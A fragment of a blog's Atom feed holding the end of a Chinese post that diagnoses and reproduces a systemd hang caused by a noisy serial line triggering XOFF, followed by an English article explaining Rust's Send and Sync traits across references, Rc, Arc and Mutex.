&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;# ls -lh &amp;#x2F;sbin&amp;#x2F;reboot
lrwxrwxrwx 1 root root 14 Jun 29  2022 &amp;#x2F;sbin&amp;#x2F;reboot -&amp;gt; &amp;#x2F;bin&amp;#x2F;systemctl
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;systemd进程卡住后，reboot命令自然会失效。最终造成了我们的故障环境不能通过reboot恢复。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;zong-jie-wen-ti-de-hong-fa-guo-cheng&quot;&gt;总结：问题的触发过程&lt;&#x2F;h2&gt;
&lt;p&gt;1、串口线悬空，在复杂电磁环境上感应到电平，形成乱码输入。乱码命中XOFF（停止发送串口流控命令），串口停止发送字符。&lt;&#x2F;p&gt;
&lt;p&gt;2、写入控制台的信息都会写入缓冲区，缓冲区充满后，最后一个写入控制台的进程会占用串口信号量，并阻塞在等待缓冲区上。&lt;&#x2F;p&gt;
&lt;p&gt;3、热补丁（或其他操作触发了systemctl restart操作）安装，systemd向控制台输出信息，systemd卡在等待控制台输出上。&lt;&#x2F;p&gt;
&lt;p&gt;4、设备配置备份和巡检频繁与设备连接断开，形成僵尸进程，systemd阻塞无法回收僵尸进程资源。&lt;&#x2F;p&gt;
&lt;p&gt;5、最终，僵尸进程堆积，服务异常且无法正常通过reboot恢复环境。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;serial-line-crash&#x2F;serial-console-xoff-crash.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;wen-ti-fu-xian&quot;&gt;【问题复现】&lt;&#x2F;h2&gt;
&lt;p&gt;1、串口终端，敲入任意字符如“root”，提示passwd:，此时使用ssh终端发送ascii码\x13，即串口流控指令-停止发送xoff&lt;&#x2F;p&gt;
&lt;p&gt;2、ssh终端1，执行下述脚本，使得串口缓冲区满while true; do echo &quot;0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789&quot; &amp;gt; &#x2F;dev&#x2F;console; sleep 0.1; done&lt;&#x2F;p&gt;
&lt;p&gt;3、ssh终端2，执行下述脚本，使得systemd卡住ystemctl restart upgraded&lt;&#x2F;p&gt;
&lt;p&gt;在串口收到xon恢复报文发送之前，systemd会持续卡住&lt;&#x2F;p&gt;
&lt;p&gt;这个过程复现的现象（systemd与login的调用栈），与现网完全一致。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>An unsafe tour of Rust&#x27;s Send and Sync</title>
        <published>2024-07-04T00:00:00+00:00</published>
        <updated>2024-07-04T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/an-unsafe-tour-of-rust-s-send-and-sync/"/>
        <id>https://vercel.juzhong.asia/obsidian/an-unsafe-tour-of-rust-s-send-and-sync/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/an-unsafe-tour-of-rust-s-send-and-sync/">&lt;h1 id=&quot;an-unsafe-tour-of-rust-s-send-and-sync&quot;&gt;An unsafe tour of Rust&#x27;s Send and Sync&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;an-unsafe-tour-of-rust-s-send-and-sync-1&quot;&gt;An unsafe tour of Rust&#x27;s Send and Sync&lt;&#x2F;h2&gt;
&lt;p&gt;Written by nyanpasu64
on January  1, 2021&lt;&#x2F;p&gt;
&lt;p&gt;Rust&#x27;s concurrency safety is based around the &lt;code&gt;Send&lt;&#x2F;code&gt; and &lt;code&gt;Sync&lt;&#x2F;code&gt; traits. For people writing safe code, you don&#x27;t really need to understand these traits on a deep level, only enough to satisfy the compiler when it spits errors at you (or switch from &lt;code&gt;std&lt;&#x2F;code&gt; threads to Crossbeam scoped threads to make errors go away). However if you&#x27;re writing unsafe concurrent code, such as having a &lt;code&gt;&amp;amp;UnsafeCell&amp;lt;T&amp;gt;&lt;&#x2F;code&gt; hand out &lt;code&gt;&amp;amp;T&lt;&#x2F;code&gt; and &lt;code&gt;&amp;amp;mut T&lt;&#x2F;code&gt;, you need to understand &lt;code&gt;Send&lt;&#x2F;code&gt; and &lt;code&gt;Sync&lt;&#x2F;code&gt; at a more fundamental level, to pick the appropriate trait bounds when writing &lt;code&gt;unsafe impl Send&#x2F;Sync&lt;&#x2F;code&gt; statements, or add the appropriate &lt;code&gt;PhantomData&amp;lt;T&amp;gt;&lt;&#x2F;code&gt; to your types.&lt;&#x2F;p&gt;
&lt;p&gt;In this article, I will explore the precise behavior of &lt;code&gt;Send&lt;&#x2F;code&gt; and &lt;code&gt;Sync&lt;&#x2F;code&gt;, and explain &lt;em&gt;why&lt;&#x2F;em&gt; the standard library&#x27;s trait bounds are the way they are.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;prior-art&quot;&gt;Prior art&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;You can think of Send as &quot;Exclusive access is thread-safe,&quot; and Sync as &quot;Shared access is thread-safe.&quot;&lt;&#x2F;p&gt;
&lt;p&gt;[&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.reddit.com&#x2F;r&#x2F;rust&#x2F;comments&#x2F;9elom2&#x2F;why_does_implt_send_for_mut_t_require_t_send&#x2F;&quot;&gt;Source]&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;I recommended first reading &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;limpet.net&#x2F;mbrubeck&#x2F;2019&#x2F;02&#x2F;07&#x2F;rust-a-unique-perspective.html&quot;&gt;&quot;Rust: A unique perspective&quot;&lt;&#x2F;a&gt;. This article gives a conceptual overview of the mechanics (unique and shared references) I will analyze in more depth.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;defining-sync-and-send&quot;&gt;Defining Sync and Send&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;code&gt;T: Send&lt;&#x2F;code&gt; means &lt;code&gt;T&lt;&#x2F;code&gt; and &lt;code&gt;&amp;amp;mut T&lt;&#x2F;code&gt; (which allow dropping &lt;code&gt;T&lt;&#x2F;code&gt;) can be passed between threads. &lt;code&gt;T: Sync&lt;&#x2F;code&gt; means &lt;code&gt;&amp;amp;T&lt;&#x2F;code&gt; (which allows shared&#x2F;aliased access to &lt;code&gt;T&lt;&#x2F;code&gt;) can be passed between threads. Either or both may be true for any given type. &lt;code&gt;T: Sync&lt;&#x2F;code&gt; ≡ &lt;code&gt;&amp;amp;T: Send&lt;&#x2F;code&gt; (by definition).&lt;&#x2F;p&gt;
&lt;p&gt;One way that &lt;code&gt;T: !Sync&lt;&#x2F;code&gt; can occur is &lt;strong&gt;if a type has non-atomic interior mutability&lt;&#x2F;strong&gt;. This means that every &lt;code&gt;&amp;amp;T&lt;&#x2F;code&gt; (there can be more than one) can mutate &lt;code&gt;T&lt;&#x2F;code&gt; at the same time non-atomically, causing data races if a &lt;code&gt;&amp;amp;T&lt;&#x2F;code&gt; is sent to another thread. &lt;code&gt;T: !Sync&lt;&#x2F;code&gt; includes &lt;code&gt;Cell&amp;lt;RefCount&amp;gt;&lt;&#x2F;code&gt; and &lt;code&gt;RefCell&amp;lt;i32&amp;gt;&lt;&#x2F;code&gt;, as well as &lt;code&gt;Rc&lt;&#x2F;code&gt; (which acts like &lt;code&gt;&amp;amp;(Cell&amp;lt;RefCount&amp;gt;, V)&lt;&#x2F;code&gt;).&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;T: !Send&lt;&#x2F;code&gt;&lt;strong&gt;if a type is bound to the current thread&lt;&#x2F;strong&gt;. Examples:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;MutexGuard&amp;lt;i32&amp;gt;&lt;&#x2F;code&gt;, where the &quot;unlock&quot; syscall must occur on the same thread as &quot;lock&quot;.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;&amp;amp;V&lt;&#x2F;code&gt; where &lt;code&gt;V&lt;&#x2F;code&gt; can be modified non-atomically (only safe from a single thread) through multiple &lt;code&gt;&amp;amp;V&lt;&#x2F;code&gt; (explained above).&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;primitives&quot;&gt;Primitives&lt;&#x2F;h2&gt;
&lt;p&gt;Most primitive types (like &lt;code&gt;i32&lt;&#x2F;code&gt;) are &lt;code&gt;Send+Sync&lt;&#x2F;code&gt;. They can be read through shared references (&lt;code&gt;&amp;amp;&lt;&#x2F;code&gt;) by multiple threads at once (&lt;code&gt;Sync&lt;&#x2F;code&gt;), and modified through unique references (&lt;code&gt;&amp;amp;mut&lt;&#x2F;code&gt;) by any one thread at a time (&lt;code&gt;Send&lt;&#x2F;code&gt;).&lt;&#x2F;p&gt;
&lt;h2 id=&quot;owning-references&quot;&gt;Owning references&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;code&gt;Box&amp;lt;T&amp;gt;&lt;&#x2F;code&gt; and &lt;code&gt;&amp;amp;mut T&lt;&#x2F;code&gt; give the same access as having a &lt;code&gt;T&lt;&#x2F;code&gt; directly, so it shares the same Sync&#x2F;Send status as &lt;code&gt;T&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;(Sidenote) Technically, &lt;code&gt;&amp;amp;mut T&lt;&#x2F;code&gt; allows swapping the &lt;code&gt;T&lt;&#x2F;code&gt; (which cannot panic), but prohibits moving the &lt;code&gt;T&lt;&#x2F;code&gt;. This is because moving invalidates the &lt;code&gt;&amp;amp;mut T&lt;&#x2F;code&gt;, and the &lt;code&gt;&amp;amp;mut T&lt;&#x2F;code&gt;s and &lt;code&gt;T&lt;&#x2F;code&gt; it&#x27;s constructed from.&lt;&#x2F;p&gt;
&lt;p&gt;For a demonstration of &lt;code&gt;&amp;amp;mut T&lt;&#x2F;code&gt;, see &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;nyanpasu64.gitlab.io&#x2F;blog&#x2F;an-unsafe-tour-of-rust-s-send-and-sync&#x2F;#example-passing-mut-t-send-between-threads&quot;&gt;&quot;Example: Passing &lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;nyanpasu64.gitlab.io&#x2F;blog&#x2F;an-unsafe-tour-of-rust-s-send-and-sync&#x2F;#example-passing-mut-t-send-between-threads&quot;&gt;&lt;code&gt;&amp;amp;amp;mut (T: Send)&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;nyanpasu64.gitlab.io&#x2F;blog&#x2F;an-unsafe-tour-of-rust-s-send-and-sync&#x2F;#example-passing-mut-t-send-between-threads&quot;&gt; between threads&quot;&lt;&#x2F;a&gt; section in this page.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;where-these-semantics-are-defined&quot;&gt;Where these semantics are defined&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;doc.rust-lang.org&#x2F;std&#x2F;primitive.reference.html#impl-Send-1&quot;&gt;&lt;code&gt;impl Send for &amp;amp;amp;mut T where T: Send&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;impl Sync for &amp;amp;mut T where T: Sync&lt;&#x2F;code&gt; is not on the page...&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;doc.rust-lang.org&#x2F;std&#x2F;boxed&#x2F;struct.Box.html#impl-Send&quot;&gt;&lt;code&gt;impl Send for Box&amp;amp;lt;T&amp;amp;gt; where T: Send&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;doc.rust-lang.org&#x2F;std&#x2F;boxed&#x2F;struct.Box.html#impl-Sync&quot;&gt;&lt;code&gt;impl Sync for Box&amp;amp;lt;T&amp;amp;gt; where T: Sync&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;shared-references&quot;&gt;Shared references&lt;&#x2F;h2&gt;
&lt;p&gt;Unlike owning references, many &lt;code&gt;&amp;amp;T&lt;&#x2F;code&gt; can be created from the same &lt;code&gt;T&lt;&#x2F;code&gt;. And an unlimited number of &lt;code&gt;&amp;amp;T&lt;&#x2F;code&gt; and &lt;code&gt;Rc&lt;&#x2F;code&gt; and &lt;code&gt;Arc&amp;lt;T&amp;gt;&lt;&#x2F;code&gt; copies&#x2F;clones can point to the same &lt;code&gt;T&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;By definition, you can &lt;code&gt;Send&amp;amp;T&lt;&#x2F;code&gt; instances to other threads iff &lt;code&gt;T&lt;&#x2F;code&gt; is &lt;code&gt;Sync&lt;&#x2F;code&gt;. For example, &lt;code&gt;&amp;amp;i32&lt;&#x2F;code&gt; is &lt;code&gt;Send&lt;&#x2F;code&gt; because &lt;code&gt;i32&lt;&#x2F;code&gt; is &lt;code&gt;Sync&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Less obvious is that &lt;code&gt;&amp;amp;T: Sync&lt;&#x2F;code&gt; requires that &lt;code&gt;T: Sync&lt;&#x2F;code&gt;. Why is this the case?&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Why must &lt;code&gt;T&lt;&#x2F;code&gt; be &lt;code&gt;Sync&lt;&#x2F;code&gt;? We want &lt;code&gt;&amp;amp;T: Sync&lt;&#x2F;code&gt;. This means &lt;code&gt;&amp;amp;&amp;amp;T&lt;&#x2F;code&gt; (which is clonable&#x2F;copyable) is &lt;code&gt;Send&lt;&#x2F;code&gt;, allowing multiple threads to concurrently obtain &lt;code&gt;&amp;amp;&amp;amp;T&lt;&#x2F;code&gt; and &lt;code&gt;&amp;amp;T&lt;&#x2F;code&gt;, which is only legal if &lt;code&gt;T: Sync&lt;&#x2F;code&gt;.&lt;&#x2F;li&gt;
&lt;li&gt;Why is &lt;code&gt;&amp;amp;&amp;amp;T: Send&lt;&#x2F;code&gt; legal? Because &lt;code&gt;&amp;amp;T&lt;&#x2F;code&gt; lacks interior mutability (a &lt;code&gt;&amp;amp;&amp;amp;T&lt;&#x2F;code&gt; can&#x27;t modify the &lt;code&gt;&amp;amp;T&lt;&#x2F;code&gt; to point to a different &lt;code&gt;T&lt;&#x2F;code&gt;).&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;sources&quot;&gt;Sources&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;doc.rust-lang.org&#x2F;std&#x2F;primitive.reference.html#impl-Send&quot;&gt;&lt;code&gt;impl Send for &amp;amp;amp;T where T: Sync&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;impl Sync for &amp;amp;T where T: Sync&lt;&#x2F;code&gt; is not on the page...&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;For a demonstration, see the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;nyanpasu64.gitlab.io&#x2F;blog&#x2F;an-unsafe-tour-of-rust-s-send-and-sync&#x2F;#example-t-send-or-sync-both-depend-on-t-sync&quot;&gt;&quot;Example: &lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;nyanpasu64.gitlab.io&#x2F;blog&#x2F;an-unsafe-tour-of-rust-s-send-and-sync&#x2F;#example-t-send-or-sync-both-depend-on-t-sync&quot;&gt;&lt;code&gt;&amp;amp;amp;T: Send or Sync&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;nyanpasu64.gitlab.io&#x2F;blog&#x2F;an-unsafe-tour-of-rust-s-send-and-sync&#x2F;#example-t-send-or-sync-both-depend-on-t-sync&quot;&gt; both depend on &lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;nyanpasu64.gitlab.io&#x2F;blog&#x2F;an-unsafe-tour-of-rust-s-send-and-sync&#x2F;#example-t-send-or-sync-both-depend-on-t-sync&quot;&gt;&lt;code&gt;T: Sync&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;nyanpasu64.gitlab.io&#x2F;blog&#x2F;an-unsafe-tour-of-rust-s-send-and-sync&#x2F;#example-t-send-or-sync-both-depend-on-t-sync&quot;&gt;&quot;&lt;&#x2F;a&gt; section in this page.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;interior-mutability&quot;&gt;Interior mutability&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;code&gt;Cell&amp;lt;RefCount&amp;gt;&lt;&#x2F;code&gt; (and &lt;code&gt;RefCell&amp;lt;i32&amp;gt;&lt;&#x2F;code&gt;) is &lt;code&gt;!Sync&lt;&#x2F;code&gt; because it has single-threaded &lt;strong&gt;interior mutability&lt;&#x2F;strong&gt;, which translates to multithreaded&lt;strong&gt;data races&lt;&#x2F;strong&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;UnsafeCell&amp;lt;i32&amp;gt;&lt;&#x2F;code&gt; is &lt;code&gt;!Sync&lt;&#x2F;code&gt; to prevent misuse, since only some usages are &lt;code&gt;Sync&lt;&#x2F;code&gt; and &lt;code&gt;impl !Sync&lt;&#x2F;code&gt; is unstable. As a result, you need to &lt;code&gt;unsafe impl Sync&lt;&#x2F;code&gt; (which shows up in grep) if you want concurrent access.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;smart-pointers-rc&quot;&gt;Smart pointers: &lt;code&gt;Rc&lt;&#x2F;code&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;code&gt;Rc&lt;&#x2F;code&gt; acts like &lt;code&gt;&amp;amp;(Cell&amp;lt;RefCount&amp;gt;, i32)&lt;&#x2F;code&gt;. It is &lt;code&gt;!Sync&lt;&#x2F;code&gt; because &lt;code&gt;Cell&amp;lt;RefCount&amp;gt;&lt;&#x2F;code&gt; has &lt;strong&gt;interior mutability&lt;&#x2F;strong&gt; and&lt;strong&gt;data races&lt;&#x2F;strong&gt; on &lt;code&gt;RefCount&lt;&#x2F;code&gt;, and &lt;code&gt;!Send&lt;&#x2F;code&gt; because &lt;code&gt;Rc&lt;&#x2F;code&gt; is clonable, acts like a&lt;code&gt;&amp;amp;Cell&amp;lt;RefCount&amp;gt;&lt;&#x2F;code&gt;, and &lt;code&gt;Cell&amp;lt;RefCount&amp;gt;&lt;&#x2F;code&gt; is &lt;code&gt;!Sync&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;(Technically &lt;code&gt;Rc&lt;&#x2F;code&gt; also acts like &lt;code&gt;&amp;amp;mut T&lt;&#x2F;code&gt; in its ability to drop &lt;code&gt;T&lt;&#x2F;code&gt;, but it doesn&#x27;t matter because it&#x27;s always &lt;code&gt;!Send&lt;&#x2F;code&gt; and &lt;code&gt;!Sync&lt;&#x2F;code&gt;.)&lt;&#x2F;p&gt;
&lt;h3 id=&quot;sources-1&quot;&gt;Sources&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;doc.rust-lang.org&#x2F;std&#x2F;rc&#x2F;struct.Rc.html#impl-Send&quot;&gt;&lt;code&gt;impl&amp;amp;lt;T&amp;amp;gt; !Send for Rc&amp;amp;lt;T&amp;amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;doc.rust-lang.org&#x2F;std&#x2F;rc&#x2F;struct.Rc.html#impl-Sync&quot;&gt;&lt;code&gt;impl&amp;amp;lt;T&amp;amp;gt; !Sync for Rc&amp;amp;lt;T&amp;amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;smart-pointers-arc-t-atomic-refcounting&quot;&gt;Smart pointers: &lt;code&gt;Arc&amp;lt;T&amp;gt;&lt;&#x2F;code&gt; (atomic refcounting)&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;code&gt;Arc&amp;lt;T&amp;gt;&lt;&#x2F;code&gt; is a doozy. It acts like &lt;code&gt;&amp;amp;(Atomic&amp;lt;RefCount&amp;gt;, T)&lt;&#x2F;code&gt; in its ability to alias &lt;code&gt;T&lt;&#x2F;code&gt;, and &lt;code&gt;T&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;&amp;amp;mut T&lt;&#x2F;code&gt; in its ability to drop or &lt;code&gt;get_mut&lt;&#x2F;code&gt; or &lt;code&gt;try_unwrap&lt;&#x2F;code&gt; the &lt;code&gt;T&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Because &lt;code&gt;&amp;amp;T&lt;&#x2F;code&gt; can alias, &lt;code&gt;Arc&amp;lt;T&amp;gt;: Send+Sync&lt;&#x2F;code&gt; requires &lt;code&gt;T: Sync&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Additionally, &lt;code&gt;Arc&amp;lt;T&amp;gt;: Send&lt;&#x2F;code&gt; requires &lt;code&gt;T: Send&lt;&#x2F;code&gt; (because you can move &lt;code&gt;Arc&amp;lt;T&amp;gt;&lt;&#x2F;code&gt; across threads, and &lt;code&gt;T&lt;&#x2F;code&gt; with it).&lt;&#x2F;p&gt;
&lt;p&gt;And &lt;code&gt;Arc&amp;lt;T&amp;gt;: Sync&lt;&#x2F;code&gt; requires &lt;code&gt;T: Send&lt;&#x2F;code&gt;, because if &lt;code&gt;T: !Send&lt;&#x2F;code&gt; but &lt;code&gt;Arc&amp;lt;T&amp;gt;: Sync&lt;&#x2F;code&gt;, you could clone the Arc (via &lt;code&gt;&amp;amp;Arc&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;) from another thread, and drop (or &lt;code&gt;get_mut&lt;&#x2F;code&gt; or &lt;code&gt;try_unwrap&lt;&#x2F;code&gt;) the clone last, violating &lt;code&gt;T: !Send&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;(&lt;code&gt;Atomic&amp;lt;RefCount&amp;gt;&lt;&#x2F;code&gt; is &lt;code&gt;Send+Sync&lt;&#x2F;code&gt; and does not contribute to &lt;code&gt;Arc&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;&#x27;s thread safety.)&lt;&#x2F;p&gt;
&lt;h3 id=&quot;sources-2&quot;&gt;Sources&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;doc.rust-lang.org&#x2F;std&#x2F;sync&#x2F;struct.Arc.html#impl-Send&quot;&gt;&lt;code&gt;impl&amp;amp;lt;T&amp;amp;gt; Send for Arc&amp;amp;lt;T&amp;amp;gt; where T: Send + Sync&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;doc.rust-lang.org&#x2F;std&#x2F;sync&#x2F;struct.Arc.html#impl-Sync&quot;&gt;&lt;code&gt;impl&amp;amp;lt;T&amp;amp;gt; Sync for Arc&amp;amp;lt;T&amp;amp;gt; where T: Send + Sync&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;This was also discussed in a &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stackoverflow.com&#x2F;questions&#x2F;41909811&#x2F;why-does-arct-require-t-to-be-both-send-and-sync-in-order-to-be-send&quot;&gt;Stack Overflow question&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;mutexes&quot;&gt;Mutexes&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;code&gt;Mutex&amp;lt;T&amp;gt;&lt;&#x2F;code&gt; is &lt;code&gt;Sync&lt;&#x2F;code&gt; even if &lt;code&gt;T&lt;&#x2F;code&gt; isn&#x27;t, because if multiple threads obtain &lt;code&gt;&amp;amp;Mutex&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;, they can&#x27;t all obtain &lt;code&gt;&amp;amp;T&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;Mutex&amp;lt;T&amp;gt;: Sync&lt;&#x2F;code&gt; requires &lt;code&gt;T: Send&lt;&#x2F;code&gt;. We want &lt;code&gt;&amp;amp;Mutex&amp;lt;T&amp;gt;&lt;&#x2F;code&gt; to be &lt;code&gt;Send&lt;&#x2F;code&gt;, meaning multiple threads can lock the mutex and obtain a &lt;code&gt;&amp;amp;mut T&lt;&#x2F;code&gt; (which lets you swap &lt;code&gt;T&lt;&#x2F;code&gt; and control which thread calls &lt;code&gt;Drop&lt;&#x2F;code&gt;). To hand-wave, exclusive access to &lt;code&gt;T&lt;&#x2F;code&gt; gets passed between threads, requiring that &lt;code&gt;T: Send&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;Mutex&amp;lt;T&amp;gt;: Send&lt;&#x2F;code&gt; requires &lt;code&gt;T: Send&lt;&#x2F;code&gt; because &lt;code&gt;Mutex&amp;lt;T&amp;gt;&lt;&#x2F;code&gt; is a value type.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;MutexGuard&amp;lt;i32&amp;gt;&lt;&#x2F;code&gt; is &lt;code&gt;!Send&lt;&#x2F;code&gt; because it&#x27;s &lt;strong&gt;bound to the constructing thread&lt;&#x2F;strong&gt; (on some OSes including Windows, you can&#x27;t send or exchange &quot;responsibility for freeing a mutex&quot; to another thread). Otherwise it acts like a &lt;code&gt;&amp;amp;mut T&lt;&#x2F;code&gt;, which is &lt;code&gt;Sync&lt;&#x2F;code&gt; if T is &lt;code&gt;Sync&lt;&#x2F;code&gt;. Additionally you can extract a &lt;code&gt;&amp;amp;mut T&lt;&#x2F;code&gt; (which is &lt;code&gt;Send&lt;&#x2F;code&gt;) using &lt;code&gt;&amp;amp;mut *guard&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;sources-3&quot;&gt;Sources&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;doc.rust-lang.org&#x2F;std&#x2F;sync&#x2F;struct.Mutex.html#impl-Send&quot;&gt;&lt;code&gt;Mutex&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;doc.rust-lang.org&#x2F;std&#x2F;sync&#x2F;struct.Mutex.html#impl-Send&quot;&gt; traits&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;doc.rust-lang.org&#x2F;std&#x2F;sync&#x2F;struct.MutexGuard.html#impl-Send&quot;&gt;&lt;code&gt;MutexGuard&amp;lt;i32&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;doc.rust-lang.org&#x2F;std&#x2F;sync&#x2F;struct.MutexGuard.html#impl-Send&quot;&gt; traits&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;contrived-corner-cases&quot;&gt;Contrived corner cases&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;code&gt;Mutex&amp;lt;MutexGuard&amp;lt;i32&amp;gt;&amp;gt;&lt;&#x2F;code&gt; is &lt;code&gt;!Sync&lt;&#x2F;code&gt; because &lt;code&gt;MutexGuard&amp;lt;i32&amp;gt;&lt;&#x2F;code&gt; is &lt;code&gt;!Send&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
